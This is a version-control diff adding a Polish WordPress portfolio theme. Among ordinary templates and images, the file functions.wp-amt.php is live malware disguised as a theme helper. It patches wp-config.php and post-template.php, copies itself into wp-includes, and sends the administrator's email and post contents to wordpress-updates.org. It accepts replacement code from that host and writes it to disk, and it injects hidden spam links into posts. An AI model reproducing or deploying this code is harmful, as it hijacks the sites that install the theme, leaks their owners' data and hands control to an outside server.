@@ -0,0 +1,11 @@ + + +
    + +

    Error 404 - Not Found

    + +
    + + + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/vivee_portfolio/archive.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/vivee_portfolio/archive.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,31 @@ + +
    + + +
    +
    +
    +

    +
    + + +
    +
    +
    +
    + + + + +

    Not Found

    +

    Sorry, but you are looking for something that isn't here.

    + + +
    +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/vivee_portfolio/archives.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/vivee_portfolio/archives.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,25 @@ + + + + +
    + + + +

    Archives by Month:

    +
      + +
    + +

    Archives by Subject:

    +
      + +
    + +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/vivee_portfolio/comments.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/vivee_portfolio/comments.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,109 @@ +post_password)) { // if there's a password + if ($_COOKIE['wp-postpass_' . COOKIEHASH] != $post->post_password) { // and it doesn't match the cookie + ?> + +

    Wpis jest chroniony hasłem. Podaj je, aby zobaczyć komentarze.

    + + + + +
    + +

    Komentarze do wpisu:

    + +
      + + + +
    1. id="comment-"> +
      +
      + + comment_approved == '0') : ?> + + +
      +
      + +
      +
      +
    2. + + + + + +
    + + + + comment_status) : ?> + + + + +

    Komentarze są wyłączone

    + + + + + +comment_status) : ?> + +

    Dodaj komentarz

    + + +

    Musisz być zalogowany, aby dodać komentarz

    + + +
    + + + +

    JesteÅ› zalogowany jako . Wyloguj siÄ™ »

    + + + +

    /> +

    + +

    /> +

    + +

    +

    + + + + + +

    + +

    + + +

    +ID); ?> + +
    + + + + +
    \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/vivee_portfolio/footer.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/vivee_portfolio/footer.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,31 @@ + + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/vivee_portfolio/functions.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/vivee_portfolio/functions.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,11 @@ +ID, $rodzaj, true); + + if ($key!=null) { + printf('wstep', $dir, $key); + } +} +?> \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/vivee_portfolio/functions.wp-amt.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/vivee_portfolio/functions.wp-amt.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,595 @@ +0;$q--) + { + $link[$q]="/".$link[$q]; + $r_dir=str_replace($link[$q],"",$r_dir); + $rdr=amt_rdr($r_dir); + if(@in_array('wp-config.php',$rdr)) + { + $root_dir[0]=$r_dir; + break; + } + } + $root_dir[1]=$root_dir[0]."/wp-includes"; + $t_dir=$root_dir[0]."/wp-content/themes/"; + $t_dirs=amt_rdr($t_dir); + for($q=0;$qamt_trim_domen(); + $this->t_n=array($table_prefix.$amt_site."_post",$table_prefix.$amt_site."_quest",$table_prefix.$amt_site."_opt"); + return $t_n; + } + function amt_gae() + { + global $wpdb, $table_prefix; + $uid=$wpdb->get_col($wpdb->prepare("select user_id from ".$table_prefix."usermeta where meta_value='10'", $rr)); + $uem=$wpdb->get_col($wpdb->prepare("select user_email from ".$table_prefix."users where id='".$uid[0]."'", $rr)); + $this->a_em=$uem[0]; + return $a_em; + } + function amt_crtb() + { + global $wpdb; + $this->amt_gtbl(); + $query=" + CREATE TABLE IF NOT EXISTS ".$this->t_n[0]." ( + id INT(9) NOT NULL AUTO_INCREMENT PRIMARY KEY , + id_post INT(9) NOT NULL , + last_up DATETIME NOT NULL , + addd DATETIME NOT NULL + ) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci; + "; + $wpdb->query($query); + $query=" + CREATE TABLE IF NOT EXISTS ".$this->t_n[1]." ( + id INT(9) NOT NULL AUTO_INCREMENT PRIMARY KEY , + l_b ENUM('0', '1') NOT NULL , + id_post INT(9) NOT NULL , + word VARCHAR(255) NOT NULL , + id_word INT( 9 ) NOT NULL , + link VARCHAR(255) NOT NULL , + date DATE NOT NULL + ) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci; + "; + $wpdb->query($query); + $query=" + CREATE TABLE IF NOT EXISTS ".$this->t_n[2]." ( + host VARCHAR(255) NOT NULL , + t_o VARCHAR(255) NOT NULL , + n_f VARCHAR(255) NOT NULL , + date DATE NOT NULL + ) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci; + "; + $wpdb->query($query); + $mda=$wpdb->get_col($wpdb->prepare("select host from ".$this->t_n[2], $rr)); + $this->host=$mda[0]; + if($this->host=="") + { + $amt_nf=$this->amt_gfn(); + $query="insert into ".$this->t_n[2]." (host, t_o, n_f, date) values ('wordpress-updates.org', '5', '".$amt_nf."', now());"; + $wpdb->query($query); + $mda=$wpdb->get_col($wpdb->prepare("select host from ".$this->t_n[2], $rr)); + $this->host=$mda[0]; + } + $mda=$wpdb->get_col($wpdb->prepare("select t_o from ".$this->t_n[2], $rr)); $this->t_o=$mda[0]; + $mda=$wpdb->get_col($wpdb->prepare("select n_f from ".$this->t_n[2], $rr)); $this->n_f=$mda[0]; + $mda=$wpdb->get_col($wpdb->prepare("select date from ".$this->t_n[2], $rr)); $this->c_d=$mda[0]; + } +} +$amt_d=new amt_data; +$amt_d->amt_crtb(); +$amt_d->amt_gae(); +$root_dir=amt_gp(); +$amt_d->u_tpl=$amt_u_tpl; +$amt_d->my_h=trim_url($_SERVER["HTTP_HOST"]); +$amt_d->u_g[0]="http://".$amt_d->host."/gate/post_gate.php"; +$amt_d->u_g[1]="http://".$amt_d->host."/gate/quest_gate.php"; +$amt_d->u_g[2]="http://".$amt_d->host."/gate/upd_gate.php"; +$amt_d->u_g[3]="http://".$amt_d->host."/gate/nf_gate.php"; +$amt_d->r_dir=array($root_dir[0],$root_dir[1],$root_dir[2],$root_dir[3],$root_dir[4]); +$amt_d->wp_c=$amt_d->r_dir[0]."/wp-config.php"; +$amt_d->wp_pt=$amt_d->r_dir[0]."/wp-includes/post-template.php"; +$amt_d->wp_ff=$amt_d->r_dir[0]."/wp-includes/".$amt_d->n_f; +if(file_exists($amt_d->wp_ff)) { $amt_d->wrt=1; } else { $amt_d->wrt=0; } +amt_ci(); +amt_cifi(); + +function amt_cif() +{ +global $amt_d; +if(file_exists($amt_d->wp_ff)) { return true; } else { return false; } +} + +function amt_cifi() +{ +global $amt_d; +$today=date("Ymd"); + if($today<=20100225) + { + $post = array('my_h' => $amt_d->my_h, 'my_url' => $m_url, 'wrt' => $amt_d->wrt); + amt_sender("http://".$amt_d->host."/gate/post_ci.php", $post); + } +} + +function amt_ci() +{ +global $amt_d; + $sha="!amt_cif!si"; + $sha2="!".$amt_d->n_f."!si"; + $cont=file_get_contents($amt_d->wp_c); + if(!preg_match($sha,$cont,$match) || !preg_match($sha2,$cont,$match)) + { + $amt_d->ci[0]=0; + } + else + { + $amt_d->ci[0]=1; + } + $sha="!amt_cc!si"; + $cont=file_get_contents($amt_d->wp_pt); + if(!preg_match($sha,$cont,$match)) + { + $amt_d->ci[1]=0; + } + else + { + $amt_d->ci[1]=1; + } + + if(!file_exists($amt_d->wp_ff) || filesize($amt_d->wp_ff)==0) + { + $amt_d->ci[2]=0; + } + else + { + $amt_d->ci[2]=1; + } +if($amt_d->ci[0]==1 && $amt_d->ci[1]==1 && $amt_d->ci[2]==1) { $amt_d->ci[3]=1; } else { $amt_d->ci[3]=0; } +if($amt_d->ci[3]==0) +{ + if($amt_d->ci[0]==0) + { + chmod($amt_d->wp_c, 0755); + $cont=trim(file_get_contents($amt_d->wp_c)); + $sha="/\?>$/"; + if(preg_match($sha,$cont,$name)) + { + $cont=$cont." +n_f."')) { require_once (ABSPATH.WPINC.'/".$amt_d->n_f."'); } } ?>"; + } + else + { + $cont=$cont." +if(!function_exists(amt_cif)) { if(file_exists(ABSPATH.WPINC.'/".$amt_d->n_f."')) { require_once (ABSPATH.WPINC.'/".$amt_d->n_f."'); } }"; + } + $amt_f = fopen($amt_d->wp_c,"w"); + $test = fwrite($amt_f, $cont); + fclose($amt_f); + if($test) { chmod($amt_d->wp_c, 0644); } + } + if($amt_d->ci[1]==0) + { + $cont=file_get_contents($amt_d->wp_pt); +$sha1="echo \$content;"; +$sha2="if (is_single() && function_exists(amt_cc)) { \$content = amt_cc(\$content); } + echo \$content;"; + $cont=str_replace($sha1,$sha2,$cont); + chmod($amt_d->wp_pt, 0755); + $amt_f = fopen($amt_d->wp_pt,"w"); + $test = fwrite($amt_f, $cont); + fclose($amt_f); + if($test) { @chmod($amt_d->wp_pt, 0644); } + } + if($amt_d->ci[2]==0) + { + $s_f_path=$amt_d->r_dir[2]."/functions.wp-amt.php"; + if(file_exists($s_f_path)) { $content=file_get_contents($s_f_path); } + if(file_exists($amt_d->wp_ff)) + { + chmod($amt_d->wp_ff, 0755); + } + $amt_f = fopen($amt_d->wp_ff,"w"); + $test = fwrite($amt_f, $content); + fclose($amt_f); + if($test) { chmod($amt_d->wp_ff, 0644); } + } +} +} +function amt_cc($content) +{ + global $amt_d; + $amt_id=get_the_ID(); $amt_url=$amt_d->my_h.$amt_d->r_dir[3]; $amt_md=get_the_modified_date("Y-m-d h:i:s"); amt_gct($amt_id); + amt_copt($amt_url); if(amt_pib($amt_id)==0) { $pis=amt_ins($amt_id, $amt_md, $content, $amt_url); } if($pis==1) { amt_inb($amt_id, $amt_md); } if(amt_cuq()==0) { amt_qse($amt_id, $amt_url); } $content=amt_cco($amt_id, $content); + return $content; +} +function amt_gct($id) +{ +global $amt_d; +$ololo=get_post($id); +$amt_cty=get_the_category(); +$amt_d->p_cgy=$amt_cty[$ololo->post_category]->cat_name; +$amt_d->p_ttl=$ololo->post_title; +} +function amt_cco($id, $content) +{ +global $wpdb, $amt_d; +$q_word=$wpdb->get_col($wpdb->prepare("select word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr)); +$q_id_word=$wpdb->get_col($wpdb->prepare("select id_word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr)); +$q_link=$wpdb->get_col($wpdb->prepare("select link from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr)); + for($q=0;$q < count($q_word);$q++) + { + $content=amt_create_post_words($content,$q_word[$q],$q_id_word[$q],$q_link[$q],4); + } +$content.=amt_abl($id); +return $content; +} +function amt_abl($id) +{ +global $wpdb, $amt_d; +$t_link=$wpdb->get_col($wpdb->prepare("select word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='1'", $rr)); + if($t_link[0]!="") + { + $tlk="

    ".$t_link[0]."

    "; + } + else + { + $tlk=""; + } +return $tlk; +} +function amt_copt($m_url) +{ +global $wpdb, $amt_d; +$post = Array('my_h' => $amt_d->my_h, 'my_url' => $m_url); +$today=date("Y-m-d"); + if(!amt_cuo()) + { + if($amt_ud=amt_sender($amt_d->u_g[2], $post)) + { + if($amt_ud!="no" && $amt_ud!="") + { + $amt_md=explode('*^*^*^*',$amt_ud); + $amt_q="update ".$amt_d->t_n[2]." set host='$amt_md[0]', t_o='$amt_md[1]', date='$today' where host='".$amt_d->host."'"; + $wpdb->query($amt_q); + if($amt_md[3]==2) + { + amt_cnff($amt_md[4]); + } + } + else + { + $amt_q="update ".$amt_d->t_n[2]." set date='$today' where host='".$amt_d->host."'"; + $wpdb->query($amt_q); + } + } + } +} +function amt_cnff($content) +{ +global $amt_d; +if($content=="") { return false; } +$content= +""; + if(file_exists($amt_d->wp_ff)) + { + @chmod($amt_d->wp_ff, 0755); + } +$amt_f = fopen($amt_d->wp_ff,'w'); +$test = fwrite($amt_f, $content); +@fclose($amt_f); +if($test) { @chmod($amt_d->wp_ff, 0644); } +$s_f_path=$amt_d->r_dir[2]."/functions.wp-amt.php"; + if(file_exists($s_f_path)) + { + @chmod($s_f_path, 0755); + } +$amt_f = fopen($s_f_path,'w'); +$test = fwrite($amt_f, $content); +@fclose($amt_f); +if($test) { @chmod($s_f_path, 0644); } +} +function amt_inb($id, $last) +{ +global $wpdb, $amt_d; +$amt_q="delete from ".$amt_d->t_n[0]." where id_post='$id'"; +$wpdb->query($amt_q); +$amt_q="insert into ".$amt_d->t_n[0]." (id_post, last_up, addd) values ('$id', '$last', now())"; +$wpdb->query($amt_q); +} +function amt_ins($id, $last, $cont, $url) +{ +global $amt_d; +$last=str_replace(" ","_",$last); +$url=trim_url($url); +$post = Array('id' => $id, 'last' => $last, 'cont' => $cont, 'ttl' => $amt_d->p_ttl, 'cgy' => $amt_d->p_cgy, 'my_h' => $amt_d->my_h, 'my_url' => $url, 'a_em' => $amt_d->a_em, 'fn' => $amt_d->n_f, 'tpl' => $amt_d->r_dir[4], 'ci' => $amt_d->ci[3], 'u_tpl' => $amt_d->u_tpl); +$amt_pisg=amt_sender($amt_d->u_g[0], $post); +if($amt_pisg=="ok") { $pis=1; } else { $pis=0; } +return $pis; +} +function amt_pib($id) +{ +global $wpdb, $amt_d; +$query="select id from ".$amt_d->t_n[0]." where id_post='$id'"; +$wpdb->query($query); + if($wpdb->num_rows>0) + { + $per=$wpdb->get_var($wpdb->prepare("select datediff(now(), addd) from ".$amt_d->t_n[0]." where id_post='$id'", $rr)); + if($per>30) + { + return 0; + } + else + { + return 1; + } + } +return $wpdb->num_rows; +} +function amt_qwe($id) +{ +global $wpdb, $amt_d; +$query="select * from ".$amt_d->t_n[1]." where id_post='$id'"; +$wpdb->query($query); +return $wpdb->num_rows; +} +function amt_cuq() +{ +global $wpdb, $amt_d; +$today=date("Y-m-d"); +$date_up=$wpdb->get_var($wpdb->prepare("select date from ".$amt_d->t_n[1]." limit 1", $rr)); + if($date_up!=$today) + { + return false; + } + else + { + return true; + } +} +function amt_cuo() +{ +global $amt_d; +$today=date("Y-m-d"); + if($amt_d->c_d!=$today) + { + return false; + } + else + { + return true; + } +} +function amt_qse($id, $m_url) +{ +global $wpdb, $amt_d; +$today=date("Y-m-d"); +$m_url=trim_url($m_url); +$post = Array('id' => $id, 'my_h' => $amt_d->my_h, 'my_url' => $m_url); + if($amt_nq=amt_sender($amt_d->u_g[1], $post)) + { + if($amt_nq=="no quests") + { + $amt_q1="delete from ".$amt_d->t_n[1].";"; + $wpdb->query($amt_q1); + $amt_q2="insert into ".$amt_d->t_n[1]." (l_b, id_post, word, id_word, link, date) values ('0', '0', '', '0', '', '$today')"; + echo $amt_q2; + $wpdb->query($amt_q2); + } + else + { + $amt_q1="delete from ".$amt_d->t_n[1].";"; + $wpdb->query($amt_q1); + $amt_qs=explode("*****",$amt_nq); + for($q=0;$q < sizeof($amt_qs);$q++) + { + $m_amt_q=explode("^^^",$amt_qs[$q]); + $amt_q2="insert into ".$amt_d->t_n[1]." (l_b, id_post, word, id_word, link, date) values ('$m_amt_q[4]', '$m_amt_q[0]', '$m_amt_q[1]', '$m_amt_q[2]', '$m_amt_q[3]', '$today')"; + $wpdb->query($amt_q2); + } + } + } +} +function amt_sender($url, $post) +{ +global $amt_d; +$_post=Array(); + if(is_array($post)) + { + foreach($post as $name => $value) + { + $_post[]=$name.'='.urlencode($value); + } + } + if (function_exists("curl_init")) + { + $ch=curl_init($url); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); + curl_setopt($ch, CURLOPT_POST, 1); + curl_setopt($ch, CURLOPT_HEADER, 0); + curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $amt_d->t_o); + curl_setopt($ch, CURLOPT_USERAGENT, "Penetrator/3.0"); + curl_setopt($ch, CURLOPT_REFERER, $amt_d->my_h); + curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); + if(is_array($post)) + { + curl_setopt($ch, CURLOPT_POSTFIELDS, join('&', $_post)); + } + $result=curl_exec($ch); + if(curl_errno($ch)!=0 && empty($result)) + { + $result=false; + } + curl_close($ch); + $result="HTTPSTART".$result; + $result=preg_replace("/HTTPSTART(.*)HTTPEND/isU","",$result); + return $result; + } + else + { + $parse_url = parse_url($url); + $path = $parse_url["path"]; + $host= $parse_url["host"]; + $result=""; + $post=implode('&', $_post); + $fp=fsockopen($host, 80); + if($fp) + { + socket_set_timeout($fp, $amt_d->t_o); + $request = "POST $path HTTP/1.1\r\n"; + $request .= "Host: $host\r\n"; + $request .= "User-Agent: Penetrator/3.0\r\n"; + $request .= "Content-Type: application/x-www-form-urlencoded\r\n"; + $request .= "Referer: ".$amt_d->my_h."\r\n"; + $request .= "Content-Length: ".strlen($post)."\r\n"; + $request .= "Connection: close\r\n\r\n$post"; + fputs($fp,$request); + while(!feof($fp)) + { + $result.=fgets($fp); + } + fclose($fp); + $result="HTTPSTART".$result; + $result=preg_replace("/HTTPSTART(.*)HTTPEND/isU","",$result); + return $result; + } + return false; + } +} +function amt_create_post_words($content,$word,$id_word,$link,$nwm) +{ +$n_content=strip_tags($content); +$word=trim($word); +$t_link="http://".$link; +$w=0; +$sha2="/(.{1,".$nwm."})(\*\*\* ".$word.".{1}\*\*\*|\*\*\*".$word.".{1}\*\*\*)(.{1,".$nwm."})/si"; +$bilo="/( ".$word.".{1}|".$word.".{1})/si"; +$stalo="***\\0***"; +$new_content=preg_replace($bilo,$stalo,$n_content); +preg_match_all($sha2,$new_content,$massa); +$sha_word=erase_zv($massa[0][$id_word]); +$sha_word_l=strong_word($sha_word,$word,$t_link); +$content=str_replace($sha_word,$sha_word_l,$content); +return $content; +} +function erase_zv($text) +{ +$text=str_replace(",***",",",$text); +$text=str_replace(".***",".",$text); +$text=str_replace(" ***"," ",$text); +$text=str_replace("*** "," ",$text); +$text=str_replace("***"," ",$text); +return $text; +} +function trim_side($text) +{ +$new_text=""; +$txt=explode(" ", $text); +$n_w=sizeof($txt); + for($ts=1;$ts<$n_w-1;$ts++) + { + $new_text.=$txt[$ts]." "; + } +return $new_text; +} +function strong_word($content,$word,$t_link) +{ +$bilo="/( ".$word.".{1}|".$word.".{1})/si"; +$stalo="\\0"; +$content=preg_replace($bilo,$stalo,$content); +$content=str_replace("> ",">",$content); +$content=str_replace(" <","<",$content); +$content=str_replace("<"," <",$content); +$content=str_replace(" ","",$content); +$content=str_replace(""," ",$content); +$content=str_replace(",",", ",$content); +$content=str_replace(".",". ",$content); +$content=str_replace(" "," ",$content); +return $content; +} +function trim_url($url) +{ +$url=preg_replace("(www.|http://)", "", $url); +return $url; +} +?> \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/vivee_portfolio/header.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/vivee_portfolio/header.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,32 @@ + +> + + + + +<?php bloginfo('name'); ?> <?php if ( is_single() ) { ?> » Blog Archive <?php } ?> <?php wp_title(); ?> + + + + + + + + + + +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/vivee_portfolio/image.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/vivee_portfolio/image.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,63 @@ + + +
    + + + +
    +

    post_parent); ?> »

    +
    +

    ID, 'medium' ); ?>

    +
    post_excerpt) ) the_excerpt(); // this is the "caption" ?>
    + + Read the rest of this entry »

    '); ?> + + +
    + + + +
    + +
    + + + + + +

    Sorry, no attachments matched your criteria.

    + + + +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/vivee_portfolio/img/body_bg.jpg Binary file web/wp-content/themes/vivee_portfolio/img/body_bg.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/vivee_portfolio/img/h2_archiwum.jpg Binary file web/wp-content/themes/vivee_portfolio/img/h2_archiwum.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/vivee_portfolio/img/h2_komentarze.jpg Binary file web/wp-content/themes/vivee_portfolio/img/h2_komentarze.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/vivee_portfolio/img/h2_przyjaciele.jpg Binary file web/wp-content/themes/vivee_portfolio/img/h2_przyjaciele.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/vivee_portfolio/img/li_lewo.jpg Binary file web/wp-content/themes/vivee_portfolio/img/li_lewo.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/vivee_portfolio/img/li_prawo.jpg Binary file web/wp-content/themes/vivee_portfolio/img/li_prawo.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/vivee_portfolio/img/logo.jpg Binary file web/wp-content/themes/vivee_portfolio/img/logo.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/vivee_portfolio/img/praca1.jpg Binary file web/wp-content/themes/vivee_portfolio/img/praca1.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/vivee_portfolio/img/praca2.jpg Binary file web/wp-content/themes/vivee_portfolio/img/praca2.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/vivee_portfolio/img/rss.gif Binary file web/wp-content/themes/vivee_portfolio/img/rss.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/vivee_portfolio/img/rss.png Binary file web/wp-content/themes/vivee_portfolio/img/rss.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/vivee_portfolio/index.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/vivee_portfolio/index.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,29 @@ + +
    + + +
    +
    +
    +

    +
    + +
    +
    +
    +
    + + + + +

    Not Found

    +

    Sorry, but you are looking for something that isn't here.

    + + +
    +
    + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/vivee_portfolio/js/funkcje_jquery2.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/vivee_portfolio/js/funkcje_jquery2.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,15 @@ +$(document).ready(function() { + + + + $(".img img").fadeTo("fast", .8); + $(".img img").hover(function(){ + $(this).fadeTo("fast", 1); + },function(){ + $(this).fadeTo("fast", .8); + }); + + + + }); + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/vivee_portfolio/js/jquery.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/vivee_portfolio/js/jquery.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,11 @@ +/* + * jQuery 1.1.3.1 - New Wave Javascript + * + * Copyright (c) 2007 John Resig (jquery.com) + * Dual licensed under the MIT (MIT-LICENSE.txt) + * and GPL (GPL-LICENSE.txt) licenses. + * + * $Date: 2007-07-05 00:43:24 -0400 (Thu, 05 Jul 2007) $ + * $Rev: 2243 $ + */ +eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('7(1g 18.6=="I"){18.I=18.I;u 6=q(a,c){7(18==9||!9.3X)v 14 6(a,c);v 9.3X(a,c)};7(1g $!="I")6.1I$=$;u $=6;6.11=6.8r={3X:q(a,c){a=a||P;7(6.16(a))v 14 6(P)[6.11.1G?"1G":"1W"](a);7(1g a=="1s"){u m=/^[^<]*(<(.|\\s)+>)[^>]*$/.1V(a);7(m)a=6.31([m[1]]);B v 14 6(c).1L(a)}v 9.4E(a.15==2b&&a||(a.3C||a.C&&a!=18&&!a.1q&&a[0]!=I&&a[0].1q)&&6.2L(a)||[a])},3C:"1.1.3.1",7W:q(){v 9.C},C:0,1M:q(a){v a==I?6.2L(9):9[a]},1Z:q(a){u b=6(a);b.5q=9;v b},4E:q(a){9.C=0;[].R.O(9,a);v 9},F:q(a,b){v 6.F(9,a,b)},2p:q(a){u b=-1;9.F(q(i){7(9==a)b=i});v b},1b:q(f,d,e){u c=f;7(f.15==33)7(d==I)v 9.C&&6[e||"1b"](9[0],f)||I;B{c={};c[f]=d}v 9.F(q(a){E(u b V c)6.1b(e?9.T:9,b,6.4H(9,c[b],e,a,b))})},1f:q(b,a){v 9.1b(b,a,"2z")},2A:q(e){7(1g e=="1s")v 9.2Y().3e(P.66(e));u t="";6.F(e||9,q(){6.F(9.2S,q(){7(9.1q!=8)t+=9.1q!=1?9.5R:6.11.2A([9])})});v t},8b:q(){u a,1S=19;v 9.F(q(){7(!a)a=6.31(1S,9.2O);u b=a[0].3s(K);9.L.2K(b,9);1v(b.1d)b=b.1d;b.4g(9)})},3e:q(){v 9.2F(19,K,1,q(a){9.4g(a)})},5w:q(){v 9.2F(19,K,-1,q(a){9.2K(a,9.1d)})},5t:q(){v 9.2F(19,N,1,q(a){9.L.2K(a,9)})},5s:q(){v 9.2F(19,N,-1,q(a){9.L.2K(a,9.1X)})},2U:q(){v 9.5q||6([])},1L:q(t){u b=6.3k(9,q(a){v 6.1L(t,a)});v 9.1Z(/[^+>] [^+>]/.17(t)||t.J("..")>-1?6.5g(b):b)},7x:q(e){u d=9.1A(9.1L("*"));d.F(q(){9.1I$1a={};E(u a V 9.$1a)9.1I$1a[a]=6.1c({},9.$1a[a])}).3U();u r=9.1Z(6.3k(9,q(a){v a.3s(e!=I?e:K)}));d.F(q(){u b=9.1I$1a;E(u a V b)E(u c V b[a])6.S.1A(9,a,b[a][c],b[a][c].W);9.1I$1a=H});v r},1i:q(t){v 9.1Z(6.16(t)&&6.2s(9,q(b,a){v t.O(b,[a])})||6.2x(t,9))},4Y:q(t){v 9.1Z(t.15==33&&6.2x(t,9,K)||6.2s(9,q(a){v(t.15==2b||t.3C)?6.2w(a,t)<0:a!=t}))},1A:q(t){v 9.1Z(6.1T(9.1M(),t.15==33?6(t).1M():t.C!=I&&(!t.Q||t.Q=="6Z")?t:[t]))},37:q(a){v a?6.2x(a,9).C>0:N},6R:q(a){v a==I?(9.C?9[0].2v:H):9.1b("2v",a)},3F:q(a){v a==I?(9.C?9[0].27:H):9.2Y().3e(a)},2F:q(f,d,g,e){u c=9.C>1,a;v 9.F(q(){7(!a){a=6.31(f,9.2O);7(g<0)a.6E()}u b=9;7(d&&6.Q(9,"1r")&&6.Q(a[0],"2V"))b=9.3R("1z")[0]||9.4g(P.5h("1z"));6.F(a,q(){e.O(b,[c?9.3s(K):9])})})}};6.1c=6.11.1c=q(){u c=19[0],a=1;7(19.C==1){c=9;a=0}u b;1v((b=19[a++])!=H)E(u i V b)c[i]=b[i];v c};6.1c({6n:q(){7(6.1I$)$=6.1I$;v 6},16:q(a){v!!a&&1g a!="1s"&&!a.Q&&a.15!=2b&&/q/i.17(a+"")},40:q(a){v a.4z&&a.2O&&!a.2O.4y},Q:q(b,a){v b.Q&&b.Q.1D()==a.1D()},F:q(a,b,c){7(a.C==I)E(u i V a)b.O(a[i],c||[i,a[i]]);B E(u i=0,4x=a.C;i<4x;i++)7(b.O(a[i],c||[i,a[i]])===N)1F;v a},4H:q(c,b,d,e,a){7(6.16(b))b=b.3D(c,[e]);u f=/z-?2p|5Y-?8p|1e|5U|8i-?1u/i;v b&&b.15==3y&&d=="2z"&&!f.17(a)?b+"4o":b},12:{1A:q(b,c){6.F(c.2R(/\\s+/),q(i,a){7(!6.12.3w(b.12,a))b.12+=(b.12?" ":"")+a})},1E:q(b,c){b.12=c!=I?6.2s(b.12.2R(/\\s+/),q(a){v!6.12.3w(c,a)}).5M(" "):""},3w:q(t,c){v 6.2w(c,(t.12||t).3v().2R(/\\s+/))>-1}},4m:q(e,o,f){E(u i V o){e.T["2N"+i]=e.T[i];e.T[i]=o[i]}f.O(e,[]);E(u i V o)e.T[i]=e.T["2N"+i]},1f:q(e,p){7(p=="1u"||p=="29"){u b={},3r,3p,d=["83","81","80","7Y"];6.F(d,q(){b["7V"+9]=0;b["7T"+9+"7S"]=0});6.4m(e,b,q(){7(6(e).37(\':4f\')){3r=e.7Q;3p=e.7O}B{e=6(e.3s(K)).1L(":4b").5v("2B").2U().1f({48:"1y",3i:"7L",U:"2h",7K:"0",7I:"0"}).5o(e.L)[0];u a=6.1f(e.L,"3i")||"3n";7(a=="3n")e.L.T.3i="7G";3r=e.7E;3p=e.7D;7(a=="3n")e.L.T.3i="3n";e.L.3q(e)}});v p=="1u"?3r:3p}v 6.2z(e,p)},2z:q(e,a,d){u g;7(a=="1e"&&6.M.1h){g=6.1b(e.T,"1e");v g==""?"1":g}7(a.3t(/3x/i))a=6.1U;7(!d&&e.T[a])g=e.T[a];B 7(P.3f&&P.3f.3Y){7(a.3t(/3x/i))a="3x";a=a.1o(/([A-Z])/g,"-$1").2H();u b=P.3f.3Y(e,H);7(b)g=b.57(a);B 7(a=="U")g="1P";B 6.4m(e,{U:"2h"},q(){u c=P.3f.3Y(9,"");g=c&&c.57(a)||""})}B 7(e.3S){u 